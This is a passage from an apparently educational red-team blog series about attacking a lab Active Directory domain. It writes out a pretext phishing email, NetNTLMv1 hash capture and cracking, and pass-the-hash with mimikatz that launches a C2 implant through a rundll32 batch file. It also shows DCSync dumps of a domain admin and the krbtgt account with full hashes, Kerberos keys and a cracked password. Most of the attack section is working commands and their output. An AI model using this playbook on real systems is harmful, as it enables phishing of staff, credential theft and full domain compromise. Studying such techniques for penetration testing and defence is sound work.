There is, if you think the situation is tenable. This will come down to your sense of risk, rules of the engagement (what I'm about to suggest is a social engineered pretext attack), and perhaps other factors. I have high privilege on the machine. If I can lure 'userguythree' to log in locally, I can grab a compromised version of the hash that is much less difficult to crack. Other options include running out-minidump on a schedule, or Rebeus.

I'm going to demonstrate the technique using Internal-Monologue. First, I need a lure. PowerShell enables you to send an email directly from the command line. Those of you who have been in the PWK labs may have done this in order to send an email to our good friend Pedro. We required the aid of his nicotine-stained fingertips for some lateral movement. Since 'userguythree' is an Account Operator, he is probably used to requests for password resets and the like from users. So I'm going to try and use a pretext for him to connect directly to the workstation.

Send-MailMessage -From 'userguytwo <userguytwo@0metalab.private>' -To 'userguythree <userguythree@0metalab.private>' -Subject 'login troubles' -Body 'I'm having trouble connecting to my workstation remotely. The VPN is working but I get an error about the tsclient service. Can you try remoting in to see if it happens to you too? Thanks!'

Just enough technical detail to be convincing. You may have to specify the SMTP particulars, depending on how the host is set up. If my bait works, then I can use the get-hash module to dump out the NetNTLMv1 hash.

When I get the hash, I pop on over to crack.sh and submit a job. You should understand your scoping agreement with your client to cover this sort of thing; I've not met resistance to it once I explained that crack.sh technically already has their password. They have ALL of the NetNTLMv1 hashes, as they've precomputed all of them. Also, you're not sending over any identifiable information, like usernames or the like. Just a hash.

Anyhow, assuming the success of my attack, the hash of userguythree is 4ae1ea4836f4a6054dbb1b50a7aebb6e. If you went the long way around and cracked it (good job!), you found '6yeasty-7Dreamy-Cried'. It's not an impossible dictionary attack by any means, if you have an inkling that such password styles might be in use.

So, next I need to spawn another Implant with the process token of 'userguythree.' If you don't want to use mimikatz, then you can try out using James Forshaw's NtObjectManager PowerShell toolkit from the PowerShell gallery. Just Install-Module NtObjectManager from the terminal. You'll be using the Get-NtTokenFromProcess and Invoke-NtToken cmdlets. Everything on VirusTotal gives the green light to NtObjectManager except for one engine. This is a great alternative for token manipulation techniques if you're worried about mimikatz

For the next invoke-mimikatz example, I've written a batch file so that I could run the DLL version of the Implant instead of a EXE version. This is pretty convenient, as long as you get the .bat file right.

What's to get wrong?

Well, batch files come from antiquity DOS, long before anyone cared about computers being inherantly multilingual. UTF-8 didn't exist as a standard until the early 90's, but modern OSs have long-since standardized on it.

PowerShell deals in UTF-8. The batch interpreter in cmd.exe does not. If you try a naivé command like:

(echo '@echo off' 'start c:\windows\system32\rundll32.exe c:\users\public\Search.UI.Native.dll, VoidFunc')| out-file c:\users\public\run.bat

You'll find your batch file doesn't actually run.

'■@' is not recognized as an internal or external command,
operable program or batch file.

Fortunately, out-file has you covered. Do this instead:

(echo '@echo off' 'start c:\windows\system32\rundll32.exe c:\users\public\Search.UI.Native.dll, VoidFunc')| out-file -encoding ASCII c:\users\public\run.bat

invoke-mimikatz -command '"sekurlsa::pth /user:userguythree /domain:0metalab /ntlm:4ae1ea4836f4a6054dbb1b50a7aebb6e /run:c:\users\public\run.bat"'

Hostname: beta.0metalab.private / authority\system-authority\system

  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::pth /user:userguythree /domain:0metalab /ntlm:4ae1ea4836f4a6054dbb1b50a7aebb6e /run:c:\users\public\run.bat
user    : userguythree
domain  : 0metalab
program : c:\users\public\run.bat
impers. : no
NTLM    : 4ae1ea4836f4a6054dbb1b50a7aebb6e
  |  PID  2212
  |  TID  2308
  |  LSA Process is now R/W
  |  LUID 0 ; 8077023 (00000000:007b3edf)
  \_ msv1_0   - data copy @ 0000025CABF8C280 : OK !
  \_ kerberos - data copy @ 0000025CABFB1E78
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 0000025CABFFCA68 (32) -> null

New Normal implant connected: (uri=mUUPWDlEyWDI7tt key=mSuDZT7XCMtbWsyxBBIbJRcA1XAhZN8swsN5pVuAmOc=)
10.1.1.1:35950 | URL:https://192.168.10.3:443 | Time:01/31/2019 05:55:09 | PID:1812 | Sleep:5 | NT AUTHORITY\SYSTEM (AMD64)

It should be noted that running the new Implant in this way does flash a cmd window briefly. With echo being off though, the contents of the batch file aren't shown.

Now, with my contexually-correct Implant, I can perform actions as 'userguythree,' just as I did with 'userguytwo' in Route 1.

New Context:userguythree@beta.

Load up the mimikatz module, then:

invoke-mimikatz -command '"lsadump::dcsync /user:adminguyone /domain:0metalab.private"'

Hostname: beta.0metalab.private / authority\system-authority\system                                                                                                              [4734/9110]
  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # lsadump::dcsync /user:adminguyone /domain:0metalab.private
[DC] '0metalab.private' will be the domain
[DC] '0metaLabDC01.0metalab.private' will be the DC server
[DC] 'adminguyone' will be the user account

Object RDN           : Admin Guy One

** SAM ACCOUNT **

SAM Username         : adminguyone
User Principal Name  : adminguyone@0metalab.private
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 5/12/2018 4:16:19 AM
Object Security ID   : S-1-5-21-1859574994-4172712319-709742153-1108
Object Relative ID   : 1108

Credentials:
  Hash NTLM: 80ce42b57456063d2d91b381e3a17cfe
    ntlm- 0: 80ce42b57456063d2d91b381e3a17cfe
    lm  - 0: a09d4984541ef7b407dba2e09198f5b0

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : 0METALAB.PRIVATEadminguyone
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c3601f366ae498a90e86f29df3da1653bd6af85e2e4ab41b698bc7de06c97755
      aes128_hmac       (4096) : 269908f4e63072738ff3571431fb6483
      des_cbc_md5       (4096) : df2a0efd3e04bc1a

* Primary:Kerberos *
    Default Salt : 0METALAB.PRIVATEadminguyone
    Credentials
      des_cbc_md5       : df2a0efd3e04bc1a

* Packages *
    Kerberos-Newer-Keys

* Primary:WDigest *
    01  0b86eb39fbf4bc296819c1a01f57dde0
    02  4f93234fa519de130ff2752410d76abf
    03  f25c85de655a4d939040c4cd4109d518
    04  0b86eb39fbf4bc296819c1a01f57dde0
    05  4f93234fa519de130ff2752410d76abf
    06  80242301c2f47d06603c326cb73bef13
    07  0b86eb39fbf4bc296819c1a01f57dde0
    08  436d5f29ada63783e85fb5efa94ea0c6
    09  436d5f29ada63783e85fb5efa94ea0c6
    10  b42703585d14e8e4aa9e1c00e679285a
    11  161eb629f7feb5e154a467386210184b
    12  436d5f29ada63783e85fb5efa94ea0c6
    13  e48eb7525c9d1e6bb825adfca7bf925f
    14  161eb629f7feb5e154a467386210184b
    15  35a828ef0d641f81af1cc29327b2c8ce
    16  35a828ef0d641f81af1cc29327b2c8ce
    17  17ebd81bb7a1a76c2b4e08bb3a2de624
    18  7dbdb269e118aa941f3d65dd807534ac
    19  506cfc4597ea150a9271d610615e01a4
    20  4c598510b79fdb2d53b1c4f3d3ca9c2e
    21  796c4e5252374b53c4d8b470012755f9
    22  796c4e5252374b53c4d8b470012755f9
    23  87ba23b99d604fa1675e683316087680
    24  73b909af9114f9988e4b4ee8cb032100
    25  73b909af9114f9988e4b4ee8cb032100
    26  76bb9003bc07d07d3dfa98190ec28dbd
    27  a27abfbc9a347cd511f8a0bc0caf77ad
    28  26d4ba0cc4dfacb941a1946a4893b972
    29  84faac2b0fc7c8b96e58138eeccd1e90

invoke-mimikatz -command '"lsadump::dcsync /user:krbtgt /domain:0metalab.private"'

Hostname: beta.0metalab.private / authority\system-authority\system                                                                                                              [4653/9110]
  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # lsadump::dcsync /user:krbtgt /domain:0metalab.private
[DC] '0metalab.private' will be the domain
[DC] '0metaLabDC01.0metalab.private' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 5/12/2018 4:00:17 AM
Object Security ID   : S-1-5-21-1859574994-4172712319-709742153-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 203a9a20e42cdba7ec208b2b1f782541
    ntlm- 0: 203a9a20e42cdba7ec208b2b1f782541
    lm  - 0: 3f8420a03d32874e830d65e862708ea5

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : 0METALAB.PRIVATEkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c80f3ddc612d4f19042c1f265635ed0d33c9c4525071261337ffcde8529f1a04
      aes128_hmac       (4096) : 0cd2181bd6de3f165f5ef035b2b098e2
      des_cbc_md5       (4096) : 078cf767f84ac26d

* Primary:Kerberos *
    Default Salt : 0METALAB.PRIVATEkrbtgt
    Credentials
      des_cbc_md5       : 078cf767f84ac26d

* Packages *
    Kerberos-Newer-Keys

* Primary:WDigest *
    01  7356a502fc1be8ef7e8c233ffca54f83
    02  06e7e4cfa6b5390d2ded1ed69dd25123
    03  4a2f3c5404c13584ce91f89f2e6be4bb
    04  7356a502fc1be8ef7e8c233ffca54f83
    05  06e7e4cfa6b5390d2ded1ed69dd25123
    06  e1c9f4c2e739b4856ee0b96646f46e71
    07  7356a502fc1be8ef7e8c233ffca54f83
    08  e79ec38499979adc574881667afb7636
    09  e79ec38499979adc574881667afb7636
    10  41fbf853b074382d0c5858da2a3ac093
    11  f8fcaeef73fdc2d9ce5b1ca1e29e3656
    12  e79ec38499979adc574881667afb7636
    13  8aec93899622bdd88dac1bd1e7c6038c
    14  f8fcaeef73fdc2d9ce5b1ca1e29e3656
    15  9c8b1036a05819ee27546d7438ba2aba
    16  9c8b1036a05819ee27546d7438ba2aba
    17  ef58a1302f7977a1cefcb862159b4a0e
    18  495e6cdf1c65081e0044bb048b3f146a
    19  ec60b2c21aa7d72a06bcc813bdcfeda5
    20  ec0003d353ab993ed57bcbd9f9cd6f2e
    21  47f049a18d81d6e5195fbc2dbec64088
    22  47f049a18d81d6e5195fbc2dbec64088
    23  1d907d39385b4a46a4f828089d3cc9ae
    24  30477585039de5ddf9bb6db35734cc42
    25  30477585039de5ddf9bb6db35734cc42
    26  ccc18e252cc7f1aede01722e1537d46e
    27  c3a27d015090c05e7cf41486e16a1ef8
    28  81067e4dc16fa73a930a8e9bc96f14b9
    29  9514543a1340e604ff55d99074dddba1

And that is that. I've dumped out the NTLM hashes for the DA account, as well as the DC Kerberos account. I'll be making use of that hash in the next article, all about persistence methods.

Conclusion

So through these three Routes, I hope I was able to illustrate the importance of thorough enumeration. If you're a holder of the OSCP, you know this already. It goes to show that enumeration doesn't stop being important just because you're working with Active Directory. Top quality enumeration will enable you to piece together an attack graph in your head and move forward.

"Attack graph?" you say. Why yes, I believe there's a popular tool that speaks in graphs that I have studiously ignored up to this point. I definitely want to talk about using Bloodhound in a later article. However, much like the PWK course demanded you understand how your tools worked, I wanted to instill the knowledge of how to do this enumeration manually.

In the last article in this 'block' of the series, I'll cover persistence. I'll talk about stuff you've definitely heard of, like Golden Tickets. I'll mention something less-known, the 'adminsdholder' method. And then I'll cover the woefully underrecognized Desired State Configuration. See you then!

Acknowledgements

I couldn’t have written all of this without the tireless work and research given freely by those in the infosec community. I’ve tried to cite them each time I link an article, but here in no particular order:

  • wald0
  • mattifestation
  • timmedin
  • subtee
  • gentilkiwi
  • danielhbohannon
  • rel1k
  • rastamouse
  • xpn
  • rvrsh3ll
  • pyrotek3
  • CpnJesus
  • dirk-jan
  • harmj0y
  • cobbr
  • xorrior
  • hdmoore
  • sevargas
  • m0rv4i

Last but certainly not least, is @benpturner for the PoshC2 framework used extensively throughout this series. Accepting questions, bug reports, and nagging throughout, he was always ready to help.

And a second shout-out to @harmj0y and others for the PowerView project. While the leading edge of offensive tooling is moving on to C#, PowerView still provides a stout resource for investigating Active Directory.